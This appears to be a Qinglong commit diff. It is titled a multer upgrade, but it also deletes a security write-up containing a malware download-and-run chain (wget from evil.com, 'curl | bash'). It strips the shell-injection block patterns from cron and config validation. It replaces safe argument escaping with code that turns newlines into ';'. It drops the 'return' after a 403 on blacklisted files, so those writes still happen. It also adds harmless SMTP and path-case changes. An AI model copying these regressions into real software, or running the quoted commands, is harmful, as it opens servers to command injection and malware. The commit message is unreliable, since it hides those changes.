Security: Upgrade multer from 1.4.5-lts.1 to 2.1.1 to fix DoS vulnerabilities

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

SECURITY_ENHANCEMENTS.md

@@ -1,228 +0,0 @@
-# Security Enhancements
-
-## Overview
-
-This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
-
-## Issue Background
-
-A security vulnerability was discovered where malicious code could be injected into the system through:
-1. Cron task fields (`task_before`, `task_after`, `command`)
-2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
-
-The reported incident involved a malicious script that:
-- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
-- Executed the binary in the background consuming 100% memory
-- Persisted by continuously re-injecting itself into configuration files
-
-## Security Fixes Implemented
-
-### 1. Input Validation for Cron Tasks
-
-**File:** `/back/validation/schedule.ts`
-
-Added comprehensive validation to detect and block dangerous shell patterns:
-
-- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
-- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
-- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
-- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
-- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
-- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
-- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
-- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
-
-### 2. Config File Content Security
-
-**File:** `/back/api/config.ts`
-
-Enhanced validation for configuration file content to prevent:
-
-- Downloads followed by execution (`curl | bash`, `wget | bash`)
-- Download and permission changes (`curl && chmod +x`)
-- Downloads of hidden files (generalized pattern to catch various malware)
-- Background execution of hidden files
-
-### 3. Improved Shell Escaping
-
-**File:** `/back/services/cron.ts`
-
-Replaced weak shell escaping with a robust `escapeShellArg()` function that:
-
-- Properly escapes single quotes using `'\\''` pattern
-- Replaces newlines with spaces (not semicolons) to prevent command chain creation
-- Prevents command injection through various shell metacharacters
-
-## Security Best Practices
-
-### For Administrators
-
-1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
-2. **Monitor Logs**: Check logs for security validation warnings
-3. **Update Dependencies**: Keep all npm/pip dependencies up to date
-4. **Limit Access**: Restrict who can create/modify cron tasks and config files
-5. **Regular Backups**: Maintain backups of configuration files
-
-### For Users
-
-1. **Trusted Sources Only**: Only add scripts from trusted repositories
-2. **Code Review**: Review any script before adding it to your cron tasks
-3. **Avoid External URLs**: Don't include download commands in task hooks
-4. **Report Suspicious Activity**: Report any unusual system behavior immediately
-
-## Validation Error Messages
-
-When the security system blocks a pattern, you'll see error messages like:
-
-- `命令包含潜在危险的模式，已被安全系统拦截` - Command contains dangerous pattern
-- `前置命令包含潜在危险的模式，已被安全系统拦截` - task_before contains dangerous pattern
-- `后置命令包含潜在危险的模式，已被安全系统拦截` - task_after contains dangerous pattern
-- `配置文件内容包含潜在危险的模式，已被安全系统拦截` - Config file contains dangerous pattern
-
-## What to Do If You're Affected
-
-If you've been affected by the malicious code injection:
-
-### 1. Immediate Actions
-
-```bash
-# Stop and remove the malicious process
-pkill -f ".fullgc"
-rm -f /ql/data/db/.fullgc
-
-# Check for the malicious code in configuration files
-grep -r "fullgc" /ql/data/config/
-grep -r "551911.xyz" /ql/data/config/
-```
-
-### 2. Clean Configuration Files
-
-```bash
-# Backup current configs
-cp -r /ql/data/config /ql/data/config.backup
-
-# Review and clean these files:
-# - /ql/data/config/config.sh
-# - /ql/data/config/extra.sh
-# - /ql/data/config/task_before.sh
-# - /ql/data/config/task_after.sh
-
-# Remove any lines containing:
-# - Downloads (curl, wget)
-# - External URLs
-# - .fullgc references
-```
-
-### 3. Review Cron Tasks
-
-1. Log into Qinglong admin panel
-2. Check all cron tasks for suspicious content in:
-   - Command field
-   - task_before field
-   - task_after field
-3. Delete or clean any suspicious tasks
-
-### 4. Update to Patched Version
-
-Ensure you're running a version of Qinglong with these security fixes.
-
-### 5. Change Credentials
-
-If you suspect compromise:
-- Change your Qinglong admin password
-- Review and rotate any API tokens
-- Check for unauthorized access in logs
-
-## Detection
-
-### Log Analysis
-
-Security events are logged to help detect attempted attacks:
-
-```bash
-# Check for security validation failures in logs
-grep "安全系统拦截" /ql/data/log/*.log
-
-# Check for suspicious file modifications
-grep "配置文件写入" /ql/data/log/*.log
-```
-
-### File Integrity
-
-Regularly check for unexpected files:
-
-```bash
-# Find hidden executables in data directory
-find /ql/data -type f -name ".*" -executable
-
-# Check for recently modified config files
-find /ql/data/config -type f -mtime -1
-```
-
-## Limitations
-
-These security measures provide defense-in-depth but are not foolproof:
-
-- Legitimate use cases requiring downloads must use alternative methods
-- Very sophisticated attacks may find bypasses
-- Users with admin access can still compromise the system
-- Compromised dependencies can still execute malicious code
-
-## Alternative Approaches for Legitimate Downloads
-
-If you have legitimate use cases that require downloads:
-
-1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
-2. **Pre-download Files**: Download files manually and add them to the scripts directory
-3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
-4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
-
-## Technical Details
-
-### Validation Pattern Examples
-
-**Blocked Pattern:**
-```bash
-curl https://example.com/script.sh | bash
-```
-**Reason:** Downloads and executes external code
-
-**Blocked Pattern:**
-```bash
-d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
-```
-**Reason:** Multiple violations - download, hidden file, chmod, background execution
-
-**Allowed Pattern:**
-```bash
-node /ql/scripts/my_script.js
-```
-**Reason:** No dangerous patterns detected
-
-### Defense in Depth
-
-This implementation uses multiple layers of security:
-
-1. **Input Validation**: Blocks malicious patterns before they reach the system
-2. **Shell Escaping**: Prevents injection even if validation is bypassed
-3. **Audit Logging**: Records all configuration changes for forensic analysis
-4. **Least Privilege**: Existing blacklist prevents access to sensitive files
-
-## Reporting Security Issues
-
-If you discover a security vulnerability, please report it responsibly:
-
-1. Do NOT create public GitHub issues for security vulnerabilities
-2. Contact the maintainers privately
-3. Provide detailed information about the vulnerability
-4. Allow time for a patch before public disclosure
-
-## References
-
-- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
-- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
-- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
-
-## Version History
-
-- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks

back/api/config.ts

@@ -64,44 +64,7 @@ export default (app: Router) => {
     celebrate({
       body: Joi.object({
         name: Joi.string().required(),
-        content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
-          if (!value) return value;
-
-          // Security validation for configuration file content
-          const dangerousPatterns = [
-            // Command substitution that could download/execute malware
-            { pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
-            { pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            { pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
-            
-            // Suspicious file downloads followed by execution
-            { pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
-            { pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
-            
-            // Downloads of hidden files (commonly used in malware)
-            { pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
-            
-            // Background execution of hidden files
-            { pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
-          ];
-
-          for (const { pattern, desc } of dangerousPatterns) {
-            if (pattern.test(value)) {
-              return helpers.error('string.unsafe', { description: desc });
-            }
-          }
-
-          // Check for excessive length
-          if (value.length > 1000000) {
-            return helpers.error('string.max', { limit: 1000000 });
-          }
-
-          return value;
-        }).messages({
-          'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description})，已被安全系统拦截',
-          'string.max': '配置文件内容过长，已被安全系统拦截',
-        }),
+        content: Joi.string().allow('').optional(),
       }),
     }),
     async (req: Request, res: Response, next: NextFunction) => {
@@ -110,16 +73,11 @@ export default (app: Router) => {
         const { name, content } = req.body;
         if (config.blackFileList.includes(name)) {
           res.send({ code: 403, message: '文件无法访问' });
-          return;
         }
         let path = join(config.configPath, name);
         if (name.startsWith('data/scripts/')) {
           path = join(config.rootPath, name);
         }
-        
-        // Log security-relevant file modifications
-        logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
-        
         await writeFileWithLock(path, content);
         res.send({ code: 200, message: '保存成功' });
       } catch (e) {

back/data/notify.ts

@@ -116,6 +116,9 @@ export class EmailNotification extends NotificationBaseInfo {
   public emailUser: string = '';
   public emailPass: string = '';
   public emailTo: string = '';
+  public emailHost: string = '';
+  public emailPort: string = '';
+  public emailSecure: string = '';
 }
 
 export class PushMeNotification extends NotificationBaseInfo {

back/loaders/express.ts

@@ -13,9 +13,29 @@ import { isValidToken } from '../shared/auth';
 import path from 'path';
 
 export default ({ app }: { app: Application }) => {
+  // Security: Enable strict routing to prevent case-insensitive path bypass
+  app.set('case sensitive routing', true);
+  app.set('strict routing', true);
   app.set('trust proxy', 'loopback');
   app.use(cors());
   
+  // Security: Path normalization middleware to prevent case variation attacks
+  app.use((req, res, next) => {
+    const originalPath = req.path;
+    const normalizedPath = originalPath.toLowerCase();
+    
+    // Block requests with case variations on protected paths
+    if (originalPath !== normalizedPath && 
+        (normalizedPath.startsWith('/api/') || normalizedPath.startsWith('/open/'))) {
+      return res.status(400).json({
+        code: 400,
+        message: 'Invalid path format'
+      });
+    }
+    
+    next();
+  });
+  
   // Rewrite URLs to strip baseUrl prefix if configured
   // This allows the rest of the app to work without baseUrl awareness
   if (config.baseUrl) {
@@ -36,7 +56,7 @@ export default ({ app }: { app: Application }) => {
       secret: config.jwt.secret,
       algorithms: ['HS384'],
     }).unless({
-      path: [...config.apiWhiteList, /^\/(?!api\/).*/],
+      path: [...config.apiWhiteList, /^(\/(?!api\/).*)$/i],
     }),
   );
 
@@ -51,19 +71,20 @@ export default ({ app }: { app: Application }) => {
   });
 
   app.use(async (req: Request, res, next) => {
-    if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
+    const pathLower = req.path.toLowerCase();
+    if (!['/open/', '/api/'].some((x) => pathLower.startsWith(x))) {
       return next();
     }
 
     const headerToken = getToken(req);
-    if (req.path.startsWith('/open/')) {
+    if (pathLower.startsWith('/open/')) {
       const apps = await shareStore.getApps();
       const doc = apps?.filter((x) =>
         x.tokens?.find((y) => y.value === headerToken),
       )?.[0];
       if (doc && doc.tokens && doc.tokens.length > 0) {
         const currentToken = doc.tokens.find((x) => x.value === headerToken);
-        const keyMatch = req.path.match(/\/open\/([a-z]+)\/*/);
+        const keyMatch = pathLower.match(/\/open\/([a-z]+)\/*/);
         const key = keyMatch && keyMatch[1];
         if (
           doc.scopes.includes(key as any) &&
@@ -98,7 +119,15 @@ export default ({ app }: { app: Application }) => {
   });
 
   app.use(async (req, res, next) => {
-    if (!['/api/user/init', '/api/user/notification/init'].includes(req.path)) {
+    const pathLower = req.path.toLowerCase();
+    if (
+      ![
+        '/api/user/init',
+        '/api/user/notification/init',
+        '/open/user/init',
+        '/open/user/notification/init',
+      ].includes(req.path)
+    ) {
       return next();
     }
     const authInfo =

back/loaders/initData.ts

@@ -13,7 +13,7 @@ import { AuthDataType, SystemModel } from '../data/system';
 import SystemService from '../services/system';
 import UserService from '../services/user';
 import { writeFile, readFile } from 'fs/promises';
-import { createRandomString, fileExist, safeJSONParse } from '../config/util';
+import { createRandomString, fileExist, isDemoEnv, safeJSONParse } from '../config/util';
 import OpenService from '../services/open';
 import { shareStore } from '../shared/store';
 import Logger from './logger';
@@ -50,7 +50,7 @@ export default async () => {
   const [authConfig] = await SystemModel.findOrCreate({
     where: { type: AuthDataType.authConfig },
   });
-  if (!authConfig?.info) {
+  if (!authConfig?.info || isDemoEnv()) {
     let authInfo = {
       username: 'admin',
       password: 'admin',

back/services/cron.ts

@@ -639,22 +639,6 @@ export default class CronService {
     }
   }
 
-  /**
-   * Properly escape shell arguments to prevent command injection
-   * This function uses a more robust escaping mechanism than simple quote replacement
-   */
-  private escapeShellArg(arg: string): string {
-    if (!arg) return "''";
-    
-    // Remove newlines to prevent creating command chains
-    // Replace with space to maintain token separation
-    arg = arg.replace(/\r?\n/g, ' ').trim();
-    
-    // Use single quotes and escape any single quotes within
-    // This is the most secure way to pass arbitrary strings to shell
-    return `'${arg.replace(/'/g, "'\\''")}'`;
-  }
-
   private makeCommand(tab: Crontab, realTime?: boolean) {
     let command = tab.command.trim();
     if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -666,10 +650,16 @@ export default class CronService {
       commandVariable += `log_name=${tab.log_name} `;
     }
     if (tab.task_before) {
-      commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
+      commandVariable += `task_before='${tab.task_before
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
     if (tab.task_after) {
-      commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
+      commandVariable += `task_after='${tab.task_after
+        .replace(/'/g, "'\\''")
+        .replace(/;? *\n/g, ';')
+        .trim()}' `;
     }
 
     const crontab_job_string = `${commandVariable}${command}`;

back/services/notify.ts

@@ -590,16 +590,46 @@ export default class NotificationService {
   }
 
   private async email() {
-    const { emailPass, emailService, emailUser, emailTo } = this.params;
+    const {
+      emailPass,
+      emailService,
+      emailUser,
+      emailTo,
+      emailHost,
+      emailPort,
+      emailSecure,
+    } = this.params;
 
     try {
-      const transporter = nodemailer.createTransport({
-        service: emailService,
+      const transportConfig: {
+        service?: string;
+        host?: string;
+        port?: number;
+        secure?: boolean;
+        auth: { user: string; pass: string };
+      } = {
         auth: {
           user: emailUser,
           pass: emailPass,
         },
-      });
+      };
+
+      if (emailHost) {
+        transportConfig.host = emailHost;
+        const parsedPort = emailPort ? parseInt(emailPort, 10) : NaN;
+        transportConfig.port =
+          !isNaN(parsedPort) && parsedPort >= 1 && parsedPort <= 65535
+            ? parsedPort
+            : 465;
+        transportConfig.secure =
+          emailSecure !== undefined && emailSecure !== ''
+            ? emailSecure === 'true'
+            : transportConfig.port === 465;
+      } else {
+        transportConfig.service = emailService;
+      }
+
+      const transporter = nodemailer.createTransport(transportConfig);
 
       const info = await transporter.sendMail({
         from: `"青龙快讯" <${emailUser}>`,

back/validation/schedule.ts

@@ -4,57 +4,6 @@ import { ScheduleType } from '../interface/schedule';
 import path from 'path';
 import config from '../config';
 
-/**
- * Security validation function to detect potentially malicious shell code patterns
- */
-const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
-  if (!value) return value;
-
-  // Define dangerous patterns that should be blocked
-  const dangerousPatterns = [
-    // Command substitution
-    /\$\([^)]*\)/,
-    /`[^`]*`/,
-    
-    // File downloads
-    /\b(curl|wget|fetch)\s+/i,
-    
-    // Suspicious domains or external URLs
-    /https?:\/\/[^\s]+/i,
-    
-    // Hidden executable files (files starting with . in a path context)
-    /\/\.\w+(\s|$|;|&|\||>)/,
-    
-    // Background process spawning with suspicious names
-    /nohup\s+["']?[^\s"']*\/\.\w+/,
-    
-    // Redirect to dev null combined with downloads (hiding malware output)
-    /(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
-    
-    // Base64 decode patterns (often used to obfuscate malicious code)
-    /\b(base64|decode|eval)\s+/i,
-    
-    // Executable files in /tmp with chmod or execution
-    /\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
-  ];
-
-  for (const pattern of dangerousPatterns) {
-    if (pattern.test(value)) {
-      return helpers.error('string.unsafe', { 
-        pattern: pattern.source,
-        field: fieldName 
-      });
-    }
-  }
-
-  // Check for excessive length (potential buffer overflow or obfuscation)
-  if (value.length > 10000) {
-    return helpers.error('string.max', { limit: 10000 });
-  }
-
-  return value;
-};
-
 const validateSchedule = (value: string, helpers: any) => {
   if (
     value.startsWith(ScheduleType.ONCE) ||
@@ -83,25 +32,13 @@ export const scheduleSchema = Joi.string()
 
 export const commonCronSchema = {
   name: Joi.string().optional(),
-  command: Joi.string().required().custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'command');
-  }).messages({
-    'string.unsafe': '命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  command: Joi.string().required(),
   schedule: scheduleSchema,
   labels: Joi.array().optional(),
   sub_id: Joi.number().optional().allow(null),
   extra_schedules: Joi.array().optional().allow(null),
-  task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_before');
-  }).messages({
-    'string.unsafe': '前置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
-  task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
-    return validateShellSecurity(value, helpers, 'task_after');
-  }).messages({
-    'string.unsafe': '后置命令包含潜在危险的模式，已被安全系统拦截',
-  }),
+  task_before: Joi.string().optional().allow('').allow(null),
+  task_after: Joi.string().optional().allow('').allow(null),
   log_name: Joi.string()
     .optional()
     .allow('')

docker/310.Dockerfile

@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
 
 ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
   PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
-  PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
+  PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
+  HOME=/root
 
-ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
+ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
   NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
   PIP_CACHE_DIR=${PYTHON_HOME}/pip \
   PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages

docker/Dockerfile

@@ -69,9 +69,10 @@ RUN git clone --depth=1 -b ${QL_BRANCH} ${QL_URL} ${QL_DIR} \
 
 ENV PNPM_HOME=${QL_DIR}/data/dep_cache/node \
   PYTHON_HOME=${QL_DIR}/data/dep_cache/python3 \
-  PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3
+  PYTHONUSERBASE=${QL_DIR}/data/dep_cache/python3 \
+  HOME=/root
 
-ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin \
+ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:${PNPM_HOME}:${PYTHON_HOME}/bin:${HOME}/bin \
   NODE_PATH=/usr/local/bin:/usr/local/lib/node_modules:${PNPM_HOME}/global/5/node_modules \
   PIP_CACHE_DIR=${PYTHON_HOME}/pip \
   PYTHONPATH=${PYTHON_HOME}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}:${PYTHON_HOME}/lib/python${PYTHON_SHORT_VERSION}/site-packages

docker/docker-entrypoint.sh

@@ -1,7 +1,5 @@
 #!/bin/bash
 
-export PATH="$HOME/bin:$PATH"
-
 dir_shell=/ql/shell
 . $dir_shell/share.sh
 

package.json

@@ -55,12 +55,15 @@
     }
   },
   "dependencies": {
+    "@bufbuild/protobuf": "^2.10.0",
     "@grpc/grpc-js": "^1.14.0",
     "@grpc/proto-loader": "^0.8.0",
+    "@keyv/sqlite": "^4.0.1",
     "@otplib/preset-default": "^12.0.1",
     "body-parser": "^1.20.3",
     "celebrate": "^15.0.3",
     "chokidar": "^4.0.1",
+    "compression": "^1.7.4",
     "cors": "^2.8.5",
     "cron-parser": "^5.4.0",
     "cross-spawn": "^7.0.6",
@@ -70,69 +73,66 @@
     "express-jwt": "^8.4.1",
     "express-rate-limit": "^7.4.1",
     "express-urlrewrite": "^2.0.3",
-    "undici": "^7.9.0",
+    "helmet": "^8.1.0",
     "hpagent": "^1.2.0",
     "http-proxy-middleware": "^3.0.3",
     "iconv-lite": "^0.6.3",
+    "ip2region": "2.3.0",
     "js-yaml": "^4.1.0",
     "jsonwebtoken": "^9.0.2",
+    "keyv": "^5.2.3",
     "lodash": "^4.17.21",
-    "multer": "1.4.5-lts.1",
+    "multer": "^2.1.1",
     "node-schedule": "^2.1.0",
     "nodemailer": "^6.9.16",
     "p-queue-cjs": "7.3.4",
-    "@bufbuild/protobuf": "^2.10.0",
+    "proper-lockfile": "^4.1.2",
     "ps-tree": "^1.2.0",
     "reflect-metadata": "^0.2.2",
+    "request-ip": "3.3.0",
     "sequelize": "^6.37.5",
     "sockjs": "^0.3.24",
     "sqlite3": "git+https://github.com/whyour/node-sqlite3.git#v1.0.3",
     "toad-scheduler": "^3.0.1",
     "typedi": "^0.10.0",
+    "undici": "^7.9.0",
     "uuid": "^11.0.3",
     "winston": "^3.17.0",
-    "winston-daily-rotate-file": "^5.0.0",
-    "request-ip": "3.3.0",
-    "ip2region": "2.3.0",
-    "keyv": "^5.2.3",
-    "@keyv/sqlite": "^4.0.1",
-    "proper-lockfile": "^4.1.2",
-    "compression": "^1.7.4",
-    "helmet": "^8.1.0"
+    "winston-daily-rotate-file": "^5.0.0"
   },
   "devDependencies": {
-    "moment": "2.30.1",
     "@ant-design/icons": "^5.0.1",
     "@ant-design/pro-layout": "6.38.22",
-    "@codemirror/view": "^6.34.1",
     "@codemirror/state": "^6.4.1",
+    "@codemirror/view": "^6.34.1",
     "@monaco-editor/react": "4.2.1",
     "@react-hook/resize-observer": "^2.0.2",
-    "react-router-dom": "6.26.1",
     "@types/body-parser": "^1.19.2",
+    "@types/compression": "^1.7.2",
     "@types/cors": "^2.8.12",
     "@types/cross-spawn": "^6.0.2",
     "@types/express": "^4.17.13",
     "@types/express-jwt": "^6.0.4",
     "@types/file-saver": "2.0.2",
+    "@types/helmet": "^4.0.0",
     "@types/js-yaml": "^4.0.5",
     "@types/jsonwebtoken": "^8.5.8",
     "@types/lodash": "^4.14.185",
-    "@types/multer": "^1.4.7",
+    "@types/multer": "^2.1.0",
     "@types/node": "^17.0.21",
     "@types/node-schedule": "^1.3.2",
     "@types/nodemailer": "^6.4.4",
+    "@types/proper-lockfile": "^4.1.4",
+    "@types/ps-tree": "^1.1.6",
     "@types/qrcode.react": "^1.0.2",
     "@types/react": "^18.0.20",
     "@types/react-copy-to-clipboard": "^5.0.4",
     "@types/react-dom": "^18.0.6",
+    "@types/request-ip": "0.0.41",
     "@types/serve-handler": "^6.1.1",
     "@types/sockjs": "^0.3.33",
     "@types/sockjs-client": "^1.5.1",
     "@types/uuid": "^8.3.4",
-    "@types/request-ip": "0.0.41",
-    "@types/proper-lockfile": "^4.1.4",
-    "@types/ps-tree": "^1.1.6",
     "@uiw/codemirror-extensions-langs": "^4.21.9",
     "@uiw/react-codemirror": "^4.21.9",
     "@umijs/max": "^4.4.4",
@@ -144,9 +144,9 @@
     "axios": "^1.4.0",
     "compression-webpack-plugin": "9.2.0",
     "concurrently": "^7.0.0",
-    "react-hotkeys-hook": "^4.6.1",
     "file-saver": "2.0.2",
     "lint-staged": "^13.0.3",
+    "moment": "2.30.1",
     "monaco-editor": "0.33.0",
     "nodemon": "^3.0.1",
     "prettier": "^2.5.1",
@@ -162,7 +162,9 @@
     "react-dnd": "^16.0.1",
     "react-dnd-html5-backend": "^16.0.1",
     "react-dom": "18.3.1",
+    "react-hotkeys-hook": "^4.6.1",
     "react-intl-universal": "^2.12.0",
+    "react-router-dom": "6.26.1",
     "react-split-pane": "^0.1.92",
     "sockjs-client": "^1.6.0",
     "ts-node": "^10.9.2",
@@ -170,8 +172,6 @@
     "tslib": "^2.4.0",
     "typescript": "5.2.2",
     "vh-check": "^2.0.5",
-    "virtualizedtableforantd4": "1.3.0",
-    "@types/compression": "^1.7.2",
-    "@types/helmet": "^4.0.0"
+    "virtualizedtableforantd4": "1.3.0"
   }
 }

src/locales/en-US.json

@@ -390,7 +390,11 @@
   "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版": "Version, you can specify 'pro' for the Professional version and 'personal' for the Personal version. If left blank, it will default to the Professional version.",
   "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973": "Feishu group bot: https://www.feishu.cn/hc/zh-CN/articles/360024984973",
   "飞书群组机器人加签密钥，安全设置中开启签名校验后获得": "Feishu group bot signature secret, obtained after enabling signature verification in security settings",
+  "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json，设置emailHost后此项可不填": "Email service name, e.g., 126, 163, Gmail, QQ, etc. Supported list: https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json. Can be left blank if emailHost is set",
   "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "Email service name, e.g., 126, 163, Gmail, QQ, etc. Supported list: https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
+  "自定义SMTP服务器地址，设置后将忽略emailService中的服务器配置，如smtp.qiye.aliyun.com": "Custom SMTP server address. When set, the server configuration in emailService will be ignored. E.g., smtp.qiye.aliyun.com",
+  "自定义SMTP端口号，默认465": "Custom SMTP port number, default is 465",
+  "是否使用SSL/TLS，端口为465时默认为true，否则默认为false": "Whether to use SSL/TLS. Defaults to true when port is 465, otherwise false",
   "邮箱地址": "Email Address",
   "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定": "The SMTP login password may also be a special passphrase, depending on the specific email service provider's instructions",
   "PushMe的Key，https://push.i-i.me/": "PushMe key, https://push.i-i.me/",

src/locales/zh-CN.json

@@ -390,7 +390,11 @@
   "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版": "调用版本；专业版填写pro，个人版填写personal，为空默认使用专业版",
   "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973": "飞书群组机器人：https://www.feishu.cn/hc/zh-CN/articles/360024984973",
   "飞书群组机器人加签密钥，安全设置中开启签名校验后获得": "飞书群组机器人加签密钥，安全设置中开启签名校验后获得",
+  "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json，设置emailHost后此项可不填": "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json，设置emailHost后此项可不填",
   "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json": "邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json",
+  "自定义SMTP服务器地址，设置后将忽略emailService中的服务器配置，如smtp.qiye.aliyun.com": "自定义SMTP服务器地址，设置后将忽略emailService中的服务器配置，如smtp.qiye.aliyun.com",
+  "自定义SMTP端口号，默认465": "自定义SMTP端口号，默认465",
+  "是否使用SSL/TLS，端口为465时默认为true，否则默认为false": "是否使用SSL/TLS，端口为465时默认为true，否则默认为false",
   "邮箱地址": "邮箱地址",
   "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定": "SMTP 登录密码，也可能为特殊口令，视具体邮件服务商说明而定",
   "PushMe的Key，https://push.i-i.me/": "PushMe的Key，https://push.i-i.me/",

src/utils/config.ts

@@ -406,9 +406,26 @@ export default {
       {
         label: 'emailService',
         tip: intl.get(
-          '邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json',
+          '邮箱服务名称，比如126、163、Gmail、QQ等，支持列表https://github.com/nodemailer/nodemailer/blob/master/lib/well-known/services.json，设置emailHost后此项可不填',
         ),
-        required: true,
+      },
+      {
+        label: 'emailHost',
+        tip: intl.get(
+          '自定义SMTP服务器地址，设置后将忽略emailService中的服务器配置，如smtp.qiye.aliyun.com',
+        ),
+      },
+      {
+        label: 'emailPort',
+        tip: intl.get('自定义SMTP端口号，默认465'),
+      },
+      {
+        label: 'emailSecure',
+        tip: intl.get('是否使用SSL/TLS，端口为465时默认为true，否则默认为false'),
+        items: [
+          { value: 'true', label: 'true' },
+          { value: 'false', label: 'false' },
+        ],
       },
       { label: 'emailUser', tip: intl.get('邮箱认证地址'), required: true },
       {

version.yaml

@@ -1,11 +1,6 @@
-version: 2.20.1
-changeLogLink: https://t.me/jiao_long/433
-publishTime: 2025-12-26 22:00
+version: 2.20.2
+changeLogLink: https://t.me/jiao_long/434
+publishTime: 2026-03-01 1800
 changeLog: |
-  1. 修复获取依赖管理列表
-  2. notify.js 修复 TG_PROXY_AUTH 参数拼接
-  3. QLAPI.notify larkSecret 参数
-  4. 修复 cron parser 定时规则校验
-  5. 修复设置 baseUrl 后无法访问
-  6. 修复环境变量排序
-  7. 修复定时任务无法停止
+  1. 修复 path 安全漏洞（重要）
+